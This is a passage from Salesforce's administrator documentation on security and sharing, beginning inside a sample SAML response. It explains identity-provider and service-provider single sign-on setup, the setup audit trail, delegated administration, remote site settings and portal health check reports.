9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyM4/sjoaizbnWTDjt9mGht2fDGxnLCWGMJ+D+9NWXD5wM15N SFEcflpI9W4makcCGvoac+CVbPTmOUzOsCQzu7iGkLeMMpngf2XqllnJgl4ejuH8socNrDtltaMk hC08KAmli3Wm/okllqSjVOl8H52jtbvm6HkvLVj2NDLRY6kUejVZMGjGwV5E0FJliwgIip4sCchl dkahbNjbikiiv1MAs8xHbtBt3wnKZWJq3JtS0va1sazUVmEwGDlVW43QPF0S7eV3IJFFhyCPV8yF N3k0wCkCVBWoknwkMA8CbD+p6qNBVmvh3F3IaW2oym/1eSvtMLNtrPJeZzssqDYqgQIDAQABo4Hr MIHoMB0GA1UdDgQWBBTYSVEZ9r8Q8T2rbZxPFfPYPZKWITCBtQYDVR0jBIGtMIGqgBTYSVEZ9r8Q 8T2rbZxPFfPYPZKWIaGBgaR/MH0xFTATBgNVBAMMDElkZW50aXR5IE9yZzEYMBYGA1UECwwPMDBE RDAwMDAwMDBGSDhsMRcwFQYDVQQKDA5TYWxlc2ZvcmNlLmNvbTEWMBQGA1UEBwwNU2FuIEZyYW5j aXNjbzELMAkGA1UECAwCQ0ExDDAKBgNVBAYTA1VTQYIOASh04QupAAAAAClXs7MwDwYDVR0TAQH/ BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEANaO5Tqcc56E6Jv8itwjtbPvR+WHEMnZgQ9cCPF5Q VACd5v7I/srx4ZJt/ZO4RZkmX1FXla0M7JGOu63eELHYG1DxT1SpGmpOL7xfBn7QUoh8Rmpp3BZC WCPIcVQHLs1LushsrpbWu+85tgzlVN4sFVBl8F9rohhbM1dMOUAksoQgM3avcZ2vkugKhX40vIuf Gw4wXZe4TBCfQay+eDONYhYnmlxVV+dJyHheENOYfVqlau8RMNhRNmhXlGxXNQyU3kpMaTxOux8F DyOjc5YPoe6PYQ0C/mC77ipnjJAjwm+Gw+heK/9NQ7fIonDObbfu2rOmudtcKG74IDwkZL8HjA== </ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092" IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

740

Security and Sharing

About Identity Providers and Service Providers

<saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z" Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2010-11-23T01:46:41.093Z" NotOnOrAfter="2010-11-23T01:51:41.093Z"> <saml:AudienceRestriction> <saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute Name="userId" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="is_portal_user" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>

741

Security and Sharing

Enabling Salesforce as an Identity Provider

Enabling Salesforce as an Identity Provider


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

To enable Salesforce as an identity provider: 1. Set up a domain. 2. Click Your Name > Setup > Security Controls > Identity Provider and click Enable Identity Provider. 3. If you haven't created a self-signed certificate, one is automatically generated for you and assigned as the certificate for your identity provider. If you've already created self-signed certificates, select the certificate to use when securely communicating with other services. You can only use self-signed certificates for your identity provider. You can't use CA-signed certificates. If you'd like to create one, select Create a new certificate.... After you create the certificate, click Your Name > Setup > Security Controls > Identity Provider, click Enable Identity Provider, and select the certificate you just created. 4. Click Save. After you enable Salesforce as an identity provider, you can define service providers.

Viewing Your Identity Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

After you enable an identity provider for your organization, you can view the details by clicking Your Name > Setup > Security Controls > Identity Provider. You might need to share this information, such as Issuer, with your service provider. From this page you can click: Edit to change the certificate associated with your identity provider. Warning: Changing the certificate can disable access to external applications. You might need to update all external applications to validate the new certificate information. Disable to disable your identity provider. Warning: If you disable your identity provider, users can no longer access any external applications.

742

Security and Sharing

Prerequisites for Defining Service Providers

Download Certificate to download the certificate associated with your identity provider. Your service provider can use this information for connecting to Salesforce. Download Metadata to download the metadata associated with your identity provider. Your service provider can use this information for connecting to Salesforce. In the service providers section, click New to define a new service provider. Next to the name of an already-defined service provider, click Edit to change its definition, click Profiles to add or remove user profiles that have access to this service provider, or click Del to delete it.

Prerequisites for Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

Before defining a service provider: 1. Enable Salesforce as an identity provider. 2. Give your service provider information about your configuration of Salesforce as an identity provider. This information is available as metadata that you can download and give to your service provider for easy configuration. However, not all service providers support metadata. If your service provider supports certificates instead, you might be required to download the certificate. Click Your Name > Setup > Security Controls > Identity Provider, then click Download Certificate or Download Metadata. 3. Get the following information from your service provider: Assertion consumer service (ACS) URL Entity ID Subject typespecifies if the subject for the SAML response from Salesforce (as an identity provider) is a Salesforce user name or a federation ID Security certificateonly required when the service provider is initiating login to Salesforce and signing their SAML requests

Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

To define a service provider:

743

Security and Sharing

Mapping Salesforce Users to App Users

1. 2. 3. 4. 5.

Complete the prerequisites. Click Your Name > Setup > Security Controls > Identity Provider, then click New in the Service Providers section. Specify a name for the service provider's application. This name is used in the profile settings. Enter the assertion consumer service (ACS) URL. This value comes from the service provider. Enter the entity ID. This value comes from the service provider. If you are accessing multiple apps from your service provider, you only need to define the service provider once, and then use the RelayState parameter to append the URL values to direct the user to the correct app after signing in. Important: Each entity ID must be unique in your organization.

6. Select the subject type. This value comes from the service provider. Note: If the subject type is Federation ID, you must also map the Salesforce user to the app user.

7. Click Service Provider Certificate if the service provider gave you a security certificate. Browse your system for the certificate. This is only necessary if you plan to initiate logging into Salesforce from the service provider and the service provider signs their SAML requests. Important: If you upload a certificate, all SAML requests must be signed. If no certificate is uploaded, all SAML requests are accepted. 8. Click Save. 9. Select which profiles have access to this service provider. Note: Permission sets can also be used to grant access to service providers.

If you click the checkbox at the top of the list, all profiles are selected. 10. Click Save.

Mapping Salesforce Users to App Users


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

If the Subject Type for the service provider definition is Federation ID, you must map the Salesforce user to the username used to sign into the service provider. To map a Salesforce user to the app user:

744

Security and Sharing

Viewing Your Service Provider Details

1. Click Your Name > Setup > Manage Users > Users, then click Edit for every user who needs to be mapped. 2. In Federation ID, under Single Sign On Information, enter the username to be used to log into the service provider. 3. Click Save. Tip: Use SOAP API if you have a large number of user profiles or permission sets to update. See the SOAP API Developer's Guide.

Viewing Your Service Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

After you define a service provider for your organization, you can view the details by clicking Your Name > Setup > Security Controls > Identity Provider, then the name of the service provider. You might need to share this information, such as SP-Initiated POST Endpoint or SP-Initiated Redirect Endpoint, with your service providers. From this page you can click: Edit to change the values of the service provider definition. Delete to delete a service provider definition. Warning: If you delete a service provider definition, your users will no longer have access to that service provider.

Profile Access to change which profiles have access to this service provider.

Enabling Identity Providers and Defining Service Providers for Portals and Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

When enabling identity providers and defining service providers for Force.com Sites, Customer Portals and partner portals, note the following:

745

Security and Sharing

Using the Identity Provider Error Log

When defining a service provider, if the Subject Type is Username, the Salesforce organization ID is prepended to the user name in the SAML assertion. For example, if the user is jDeoint@WFC.com, the subject for the SAML assertion contains 00DE0000000FFLT@jDeoint@WFC.com. If the Subject Type is Federation ID, the exact federation ID is used. The attribute is_portal_user included in the SAML assertion generated by Salesforce contains values. You might want to share the following example with your service provider.
<saml:Attribute Name="is_portal_user" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">true </saml:AttributeValue> </saml:Attribute>

Using the Identity Provider Error Log


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed Define and modify identity providers and service providers: Customize Application

The identity provider error log records problems with inbound SAML authentication requests from another app provider, and outbound SAML responses when Salesforce is acting as an identity provider. To view the identity provider error log, click Your Name > Setup > Manage Users > Identity Provider Error Log.

Examples Using Identity Providers and Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions Tabs are not available in Database.com

User Permissions Needed Define and modify identity providers and service providers: Customize Application

This section contains two examples of setting up Salesforce as an identity provider, then setting up two different service providers: Google Apps shows service-provider initiated login. Salesforceshows identity-provider initiated login.

746

Security and Sharing

Examples Using Identity Providers and Service Providers

Setting up Single Sign-on to Google Apps Example This example shows how to set up single sign-on from Salesforce to Google Apps. In this example, Google is the service provider, and Google Apps is the app provided by the service provider. For this example to work: You must already have a Premier Edition Google Apps account Your Salesforce organization must be set up for single sign-on using SAML 2.0

The general steps are as follows, with more specifics on each step below. 1. 2. 3. 4. 5. Generate a domain name and enable an identity provider in your Salesforce organization. Define the service provider in Salesforce. Enable the Salesforce user and profile. Setup Google Apps. Test your implementation.

Generating a Domain Name and Enabling an Identity Provider To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider: 1. Log into Salesforce. 2. Generate a domain name for your organization: a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check Availability. b. If the name is available, click the Terms and Conditions check box, then click Register Domain. Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider: a. Click Your Name > Setup > Security Controls > Identity Provider. b. Click Enable. c. Click Download Certificate. Remember where you save the certificate, as you will upload it later. Defining a Service Provider To define the service provider: 1. Log into Salesforce. 2. Click Your Name > Setup > Security Controls > Identity Provider. 3. Click New in the Service Provider section and enter the following information: Field
Name ACS URL

Value Google Apps The URL for your Google App account, such as
https://www.google.com/a/respond.info

Entity ID Subject Type

google.com Federation ID

747

Security and Sharing

Examples Using Identity Providers and Service Providers

4. Click Save. 5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to work. 6. Click Save. 7. Copy down the value in the SP-Initiated Redirect Endpoint field. You will use this value later. Mapping the Salesforce user to the Google Apps user To map the Salesforce user to the Google Apps user: 1. Click Your Name > Setup > My Personal Information > Personal Information, then click Edit. 2. For Federation ID, enter the username you use to sign into Google Apps, for example, JSmith@TGroup.com. 3. Click Save. Setting up Google Apps To set up your Google Apps account: 1. 2. 3. 4. 5. 6. Log into your Google Apps account. Click the Advanced tools tab, then the Set up single sign-on (SSO) link. Check the Enable Single Sign-on checkbox. For Sign-in page URL, enter the URL copied from the SP-Initiated Redirect Endpoint field, from defining a service provider. For Sign-out page URL, specify the URL where you want your users to go after they log out of Google Apps, such as, http://www.mydomain.salesforce.com. For Change password URL, use the following URL: https://mydomain.salesforce.com/_ui/system/security/ChangePassword, where mydomain is the name you specified for your custom domain when you generated your domain. For Verification certificate, upload the certificate you downloaded from enabling an identity provider. Click Save Changes.

7. 8.

Testing your Implementation To verify that your Salesforce organization can use single sign-on to Google Apps: 1. Log out of Google Apps and Salesforce. 2. Try to access a Google app page, such as http://docs.google.com/a/respond.info/ or http://mail.google.com/a/respond.info/. 3. You are redirected to a Salesforce sign-on page. After you login, you are at the specified Google app page. An alternate test is to add the Google App to a web tab in your Salesforce organization. 1. 2. 3. 4. 5. 6. 7. 8. Log into Salesforce. Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section. Choose a tab layout and click Next. Enter a label to display on the tab. Use the default name. This is the same as the label. Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon. Keep all other defaults. Click Next. In the Button or Link URL text box, enter a Google App page, such as docs.google.com/a/respond.info/ or mail.google.com/a/respond.info/, then click Next.

748

Security and Sharing

Examples Using Identity Providers and Service Providers

Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next and Save. 10. Click on the new tab at the top of your page. You are automatically logged into the specified Google app page. Setting up Single Sign-on From Salesforce to Salesforce This example shows how to set up a Salesforce app to initiate single sign-on from one Salesforce organization to another. The initiating Salesforce organization, that is, the organization that you want to initially log into, acts as the identity provider. The Salesforce organization that you want to access using an app acts as the service provider.For example, suppose you have two Salesforce organizations: a sales organization and an ideas organization. You can set up single sign-on between the two organizations so your users only have to log into and remember the password for one. For this example to work, your initiating Salesforce organization must be set up for single sign-on using SAML 2.0. The general steps are as follows, with more specifics on each step below. 1. 2. 3. 4. Generate a domain name and enable an identity provider in the Salesforce organization that is acting as an identity provider. Set up the Salesforce organization that is acting as a service provider. Define the service provider app in the Salesforce organization that is acting as an identity provider. Test your implementation.

Generating a Domain Name and Enabling an Identity Provider All of the work in the following steps is done on the Salesforce organization that is acting as the identity provider. To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider: 1. Log into Salesforce. 2. Generate a domain name for your organization: a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check Availability. b. If the name is available, click the Terms and Conditions check box, then click Register Domain. Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider: a. Click Your Name > Setup > Security Controls > Identity Provider. b. Click Enable. c. Click Download Certificate. Remember where you save the certificate, as you will upload it later. Setting up a Salesforce organization as Service Provider To configure a second Salesforce organization as the service provider: 1. Log into the Salesforce organization that acts as the service provider. 2. Enable and configure SAML: a. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click Edit. b. Select the SAML Enabled check box.

749

Security and Sharing

Examples Using Identity Providers and Service Providers

c. Use the following settings: Field


SAML Version Issuer Identity Provider Certificate SAML User ID Type

Value 2.0

Browse for the certificate you downloaded in enabling an identity provider. Select Assertion contains the Federation ID
from the User object

SAML User ID Location

Select User ID is in the NameIdentifier


element of the Subject statement

d. Click Save. e. Copy and save the values from the fields Salesforce Login URL and Entity ID. You need these values later, when defining the Salesforce service provider. 3. Link your user in the service provider organization to the user in the identity provider organization: a. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit. b. For Federation ID, enter the username used to sign into theSalesforce identity provider organization, for example, IDP_org@TGroup.com. c. Click Save. Defining the Service Provider in the Identity Provider Organization To define the service provider: 1. Log into the Salesforce organization that acts as the identity provider. 2. Click Your Name > Setup > Security Controls > Identity Provider, then in the Service Provider section, click New. 3. Specify the following information: Field
Name ACS URL Entity Id Subject Type

Value Salesforce Service Provider Use the Salesforce Login URL from setting up the service provider Use the Entity ID from setting up the service provider Select Username

4. Click Save. 5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to work. 6. Click Save. 7. Copy down the value of the IdP-Initiated Login URL field. You will use this value later, in testing.

750

Security and Sharing

Monitoring Setup Changes

Testing your Implementation To verify that your Salesforce organizations can use single sign-on to connect, create a web tab: 1. 2. 3. 4. 5. 6. 7. 8. Log into the Salesforce organization that is acting like a service provider. Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section. Choose a tab layout and click Next. Enter a label to display on the tab. Use the default name. This is the same as the label. Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon. Click Next. In the Button or Link URL text box, enter the value of the IdP-Initiated Login URL field from defining the service provider, then click Next. Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next, then Save. 10. Click on the new tab at the top of your page. If you have logged out of the Salesforce organization that acts as the identity provider, you are prompted to log in. Once you are logged in, you should see the Salesforce organization that acts as the identity provider in the tab.

Monitoring Setup Changes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions In Database.com, the setup audit trail history only audits setup changes for features that are included in Database.com.

User Permissions Needed To view audit trail history: View Setup and Configuration

The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your organization. This can be especially useful in organizations with multiple administrators. To view the setup audit trail history, click Your Name > Setup > Security Controls > View Setup Audit Trail. To download your organizations full setup history for the past 180 days, click the Download link. The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate's username. For example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator's username is listed. The setup audit trail history tracks the following types of changes: Setup Administration Changes Tracked Company information, default settings such as language or locale, and company message changes

751

Security and Sharing

Monitoring Setup Changes

Setup

Changes Tracked Multiple currency setup changes User, portal user, role, permission set, and profile changes Email address changes for any user Deleting email attachments sent as links Creating, editing, or deleting email footers Record type changes, including creating or renaming record types and assigning record types to profiles Changes to divisions, including creating and editing divisions, transferring divisions, and changing users default division Adding or deleting certificates Domain name changes Enabling or disabling Salesforce as an identity provider Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the related list hover links Page layout and search layout changes Changes made using inline editing Custom field and field-level security changes, including changes to formulas, picklist values, and custom field attributes like the format of auto-number fields or masking of encrypted fields Changes to lead settings, lead assignment rules, and lead queues Changes to activity settings Changes to support settings, business hours, case assignment and escalation rules, and case queues Any changes made by salesforce.com Customer Support at your request Changes to tab names, including tabs that you reset to the original tab name Changes to custom apps (including Service Cloud console apps), custom objects, and custom tabs Changes to contract settings Changes to forecast settings Enabling or disabling Email-to-Case or On-Demand Email-to-Case Changes to custom buttons, links, and s-controls, including standard button overrides Enabling or disabling drag-and-drop scheduling Enabling, disabling, or customizing similar opportunities Enabling or disabling quotes Changes to data category groups, data categories, and category-group assignments to objects Changes to article types Changes to category groups and categories Changes to Salesforce Knowledge settings Changes to ideas settings Changes to answers settings Changes to field tracking in feeds Changes to campaign influence settings Activating or deactivating critical updates Enabling or disabling Chatter email notifications

Customization

752

Security and Sharing

Monitoring Setup Changes

Setup

Changes Tracked Enabling or disabling Chatter new user creation settings for invitations and email domains Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access Using Hierarchies option Password policy changes Session settings changes, such as changing the session timeout setting Changes to delegated administration groups and the items delegated administrators can manage. Setup changes made by delegated administrators are tracked as well. How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin Changes to SAML (Security Assertion Markup Language) configuration settings Changes to Salesforce certificates Enabling or disabling identity providers Changes to service providers Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted records. The oldest, excess records will be permanently removed from the Recycle Bin within two hours of the mass delete transaction time. Data export requests Use of the campaign member import wizard Mass transfer use Changes to analytic snapshots, including defining, deleting, or changing the source report or target object on an analytic snapshot Import wizard use Changes to Apex classes and triggers Changes to Visualforce pages, custom components, or static resources Changes to custom settings Changes to remote access definitions Changes to Force.com Sites settings Creation of an API usage metering notification Changes to territories Changes to Workflow & Approvals settings Changes to approval processes Creation and deletion of workflow actions Changes to Visual Workflow files Packages from Force.com AppExchange that you installed or uninstalled Changes to account team and opportunity team selling settings Activation of Google Apps services Changes to mobile configuration settings, including data sets, mobile views, and excluded fields A user with the Manage Partners permission logging into the partner portal as a partner user

Security and Sharing

Data Management

Development

Various Setup

Using the application

753

Security and Sharing

Delegating Administrative Duties

Setup

Changes Tracked A user with the Edit Self-Service Users permission logging into the Salesforce Customer Portal as a Customer Portal user Enabling or disabling a partner portal account Disabling a Salesforce Customer Portal account Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals Creating and changing entitlement processes and entitlement templates Enabling or disabling self-registration for a Salesforce Customer Portal Enabling or disabling Customer Portal or partner portal users

Delegating Administrative Duties


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization. Delegated administrators can perform the following tasks: Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting quotas, creating default opportunity teams, and creating personal groups for those users Unlocking non-portal users Assigning users to specified profiles Logging in as a user who has granted login access to their administrator Managing custom objects created by an administrator

For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every department that uses Salesforce. To create delegated groups, click Your Name > Setup > Security Controls > Delegated Administration, then click New. To manage your delegated groups: Click Edit next to a group to modify it. Select a group and click Delete to remove it. Select a group and click Remove next to the user in the Delegated Administrators related list to remove a user from that delegated group.

754

Security and Sharing

Delegating Administrative Duties

Note: To delegate administration of particular objects, use object permissions, such as View All and Modify All.

See Also:
Defining Delegated Administrators Delegating User Administration Delegating Custom Object Administration

Defining Delegated Administrators


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

A delegated administration group is a group of users who have the same administrative privileges. These groups are not related to public groups used for sharing. To define a delegated administration group: 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Click New. Enter a group name. To allow the users in this group to log in as users in the role hierarchy that they administer, select Enable Group for Login Access. Depending on your organization settings, individual users may need to grant login access to allow their administrators to log in as them. See Controlling Login Access on page 559 and Granting Login Access on page 31. 5. Click Save. 6. To specify the users in this delegated group, in the Delegated Administrators related list, click Add. 7. Click to find and add users to the group. The users must have the View Setup and Configuration permission. 8. Click Save. To specify what tasks these users can perform, see Delegating User Administration on page 756 and Delegating Custom Object Administration on page 757.

See Also:
Delegating Administrative Duties

755

Security and Sharing

Delegating Administrative Duties

Delegating User Administration


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those users, and log in as users who have granted login access to administrators. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Select the name of an existing delegated administration group. Click Add in the User Administration related list. Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these roles and all subordinated roles. 5. Click Save. 6. Click Add in the Assignable Profiles related list. 7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the users they create and edit. Note that profiles with the Modify All Data permission cannot be assigned by delegated administrators. Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign any of the assignable profiles to any of the users in roles he or she can manage. 8. Click Save. 9. See Delegating Custom Object Administration on page 757 to specify what custom objects the delegated administrators can manage. To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.

See Also:
Defining Delegated Administrators Delegating Administrative Duties

756

Security and Sharing

Delegating Administrative Duties

Delegating Custom Object Administration


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed To delegate administration: To be a delegated administrator: Customize Application View Setup and Configuration

Enable delegated administrators to manage custom objects that have been created by an administrator. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Delegated Administration. Select the name of an existing delegated administration group. From the detail page of the delegated administration group, click Add in the Custom Object Administration related list. Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every aspect of a custom object, including creating a custom tab for it. 5. Click Save. Click Save & More to add additional custom objects. To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom object.

Notes on Delegated Administration of Custom Objects


Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it. However, they cannot create or modify relationships on the object or set organization-wide sharing defaults. Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects from formulas.

See Also:
Defining Delegated Administrators Delegating User Administration Delegating Administrative Duties

Concurrent Usage Limits


Available in: All Editions

To ensure that resources are available for all Salesforce users, limits are placed on the number of long-running Web requests that one organization can send at the same time. Salesforce monitors the number of concurrent requests issued by all users logged in to your organization, and compares that number against the maximum limit. In this way, the number of concurrent

757

Security and Sharing

Enabling the Account Owner Report

requests is kept below the maximum limit. The limit ensures that resources are available uniformly to all organizations and prevents deliberate or accidental over-consumption by any one organization. If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have completed. Similar limits are placed on requests issued from the API. For more information, see Force.com API Usage Limits on page 2267.

Enabling the Account Owner Report


Available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed To show or hide account owner report: Customize Application

Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from running the Account Owner report, which lists all accounts and who owns them. To show or hide this report: 1. Click Your Name > Setup > Security Controls. 2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model. 3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with the View All Data permission can run this report. 4. Click Save.

Prohibiting HTML Attachments and Documents


Available in: All Editions except for Database.com

User Permissions Needed To prohibit uploading of HTML attachments and documents: Customize Application

For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi. To prohibit uploading of HTML attachments and documents:

758

Security and Sharing

Configuring Remote Settings

1. Click Your Name > Setup > Security Controls > HTML Documents and Attachments Settings. 2. Select the Disallow HTML documents and attachments checkbox. 3. Click Save. Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In addition, this setting does not affect attachments on email templates; HTML attachments on email templates are always permitted. After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the browser, save it to their computer, or cancel the action. Warning: Do not enable this setting if your organization uses the partner portal to give your partner users access to Salesforce.

See Also:
Adding Attachments Uploading and Replacing Documents

Configuring Remote Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce and S-controls are not available in Database.com

User Permissions Needed To configure remote settings: Modify All Data

Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can call an external site, that site must be registered in the Remote Site Settings page, or the call will fail. To access the page, click Your Name > Setup > Security Controls > Remote Site Settings. This page displays a list of any remote sites already registered and provides additional information about each site, including remote site name and URL. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

To register a new site: 1. Click New Remote Site. 2. Enter a descriptive term for the Remote Site Name. 3. Enter the URL for the remote site.

759

Security and Sharing

Portal Health Check Overview

4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable Protocol Security checkbox. When selected, Salesforce can pass data from an HTTPS session to an HTTP session, and vice versa. Only select this checkbox if you understand the security implications. 5. Optionally, enter a description of the site. 6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.

See Also:
Developer's Guide: Force.com Apex Code Developer's Guide AJAX Toolkit Developer's Guide

Portal Health Check Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With portals, you share and capture information from third-party users. To ensure that you don't expose more information than intended, it's important to follow best practices for portal implementation. Your customers and partners can access your information via portals in many ways. With portal health check reports, you can easily monitor this access. Portal health check reports show your security-related portal settings and provide information you can use to improve portal security. Note: Portal health check reports show sensitive user permissions, object permissions, and field permissions granted through profiles, as well as organization-wide sharing settings and sharing rules. Your portal users can also access records via the following means, which aren't included in portal health check reports. Permission sets Manual sharing Apex managed sharing Territories List views Groups Queues Teams

760

Security and Sharing

Portal Health Check Overview

Content libraries Folders

To view portal health check reports, click Your Name > Setup > Security Controls > Portal Health Check, then click the report you want. The following reports are included: Administrative and User Permissions Object Access and Field-Level Security Sharing Organization-Wide Defaults Sharing Rules Note: The portal health check reports don't include information for criteria-based sharing, high-volume portal users, or Self-Service portal users.

Viewing the Administrative and User Permissions Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view portal health check reports: Customize Application AND Manage Users AND Modify All Data

User permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions for a profile. The Administrative and User Permissions reportone of the portal health check reportsshows portal profiles and their critical permission settings. Note: This report doesn't show permissions granted through permission sets.

